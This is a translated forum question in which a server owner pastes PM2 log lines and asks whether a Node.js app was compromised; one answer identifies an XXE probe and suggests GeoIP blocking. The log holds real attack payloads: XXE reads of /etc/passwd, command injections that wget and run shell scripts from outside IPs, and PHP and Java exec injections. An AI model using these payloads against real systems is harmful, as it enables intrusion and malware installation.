我在面向互联网的服务器上运行的 Node.JS 程序将不可能的文本打印到 stdout 日志中。我被入侵了吗?

我在面向互联网的服务器上运行的 Node.JS 程序将不可能的文本打印到 stdout 日志中。我被入侵了吗?

(编辑:事实证明,“奇怪的行为”可以用一个简单的疏忽来解释。保留这个问题以防其他人忽略它)

我希望我问的这个问题是正确的。

我设置了一个简单的 Web 服务器应用程序,它的作用不大。它在专用的 Ubuntu 主机上运行。Node 应用程序通过 PM2 运行,而 PM2 通过 NGINX 运行。Apache 通过 NGINX 运行一个单独的服务器,其中包含 Web 应用程序的图片。

我已将节点应用程序设置为通过 console.log() 函数将所有带有时间戳的 URL 请求打印到 stdout。它还会打印“404 Page Returned”(返回 404 页面)。PM2 将此保存在日志中。

像这样:

Event.Server (2021-05-06T00:24:48+00:00): End of client HTTP request -> /

在我把服务器上线的那一刻,它每天都会收到大量可疑请求(我认为这是正常的)。这些 URL 显然是为利用不当的 URL 处理并尝试访问服务器上的敏感资源而设计的。日志通常如下所示:

Event.Server (2021-05-06T02:17:41+00:00): End of client HTTP request -> /boaform/admin/formLogin?username=admin&psd=admin

404 Page Returned

我的服务器上的所有请求都发送到节点应用程序,该应用程序仅检查整个 URL 是否与某个文本字符串和一系列 IF 语句匹配,如果不匹配,则返回 404。该应用程序未设置为以任何方式直接从 URL 中提取资源,因此我认为这对这些类型的攻击/清理是无懈可击的。

我不太了解网络安全,但我认为如果服务器存在弱点,那肯定是出在 Apache/NGINX 配置上,而不是我的 Node 应用程序上。

但是,应用程序已开始将奇怪的文本记录到 stdout。没有时间戳。它没有显示“Event.Server”。

(哎呀,事实证明这不是真的:)如果没有其他文本解释它正在记录什么,我的应用程序就不会记录任何内容。

然而现在我发现我的应用程序中到处都有类似这样的记录:

0|first    | <!ELEMENT name ANY >
0|first    | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first    | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first    | <Request>
0|first    | <EMailAddress>aaaaa</EMailAddress>
0|first    | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first    | </Request>
0|first    | </Autodiscover>\x48\x48\x48\x48\x46\x00\x00\x00\x4a\x00\x00\x00\x57\x20\x00\x00\x00\x32\x00\x46\x00\x44\x00\x31\x00\x33\x00\x37\x00\x41\x00\x33\x00\x44\x00\x35\x00\x36\x00\x37\x00\x34\x00\x35\x00\x41\x00\x46\x00\x41\x00\x44\x00\x34\x00\x43\x00\x44\x00\x33\x00\x31\x00\x41\x00\x43\x00\x30\x00\x31\x00\x34\x00\x42\x00\x37\x00\x33\x00\x43\x00\x1c\x10\x11\x00\x00XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$(busybox+wget+http://45.147.77.236/cache+-O+->+/dev/.p;sh+/dev/.p)&ipv=0
0|first    | _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=uname&ipconfigusername[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/su")]=&password=&repeatedPassword=<?=md5("phpunit")?>cH<!DOCTYPE xxe [
0|first    | <!ELEMENT name ANY >
0|first    | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first    | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first    | <Request>
0|first    | <EMailAddress>aaaaa</EMailAddress>
0|first    | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first    | </Request>
0|first    | </Autodiscover><?=md5("phpunit")?><?=md5("phpunit")?><?=md5("phpunit")?>cH<!DOCTYPE xxe [
0|first    | <!ELEMENT name ANY >
0|first    | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first    | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first    | <Request>
0|first    | <EMailAddress>aaaaa</EMailAddress>
0|first    | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first    | </Request>
0|first    | </Autodiscover>\x48\x48\x48\x48\x46\x00\x00\x00\x4a\x00\x00\x00\x57\x20\x00\x00\x00\x32\x00\x46\x00\x44\x00\x31\x00\x33\x00\x37\x00\x41\x00\x33\x00\x44\x00\x35\x00\x36\x00\x37\x00\x34\x00\x35\x00\x41\x00\x46\x00\x41\x00\x44\x00\x34\x00\x43\x00\x44\x00\x33\x00\x31\x00\x41\x00\x43\x00\x30\x00\x31\x00\x34\x00\x42\x00\x37\x00\x33\x00\x43\x00\x1c\x10\x11\x00\x00ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+bin.sh%3B+wget+http%3A%2F%2F203.159.80.188%2Fbin.sh%3B+chmod+777+bin.sh%3B+.%2Fbin.sh%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1<?=md5("phpunit")?>

再次强调,这是在我的节点应用程序的标准输出日志中;它不是来自其他地方。从应用程序的设置方式来看,这似乎是不可能的,这让我相信我的服务器可能已被入侵。

如果我需要提供更多信息,我绝对会提供。

如果这不是发布此问题的好地方,如果有人在某处发表评论,我将非常感激。

我不知所措。我的问题是:

我是否可能被入侵了?如果是这样,我需要做什么来保护这台服务器?

答案1

看起来有人正在尝试利用 XXE 漏洞 https://portswigger.net/web-security/xxe
编辑:第八行的 IP 45.147.77.236 来自伊朗。
最后一行的 IP 来自声誉不佳的荷兰https://www.abuseipdb.com/check/203.159.80.188
如果您不与这些国家打交道,您一定要考虑 GeoIP 阻止,同时确保您更新服务器,并可能获得 IPS。

相关内容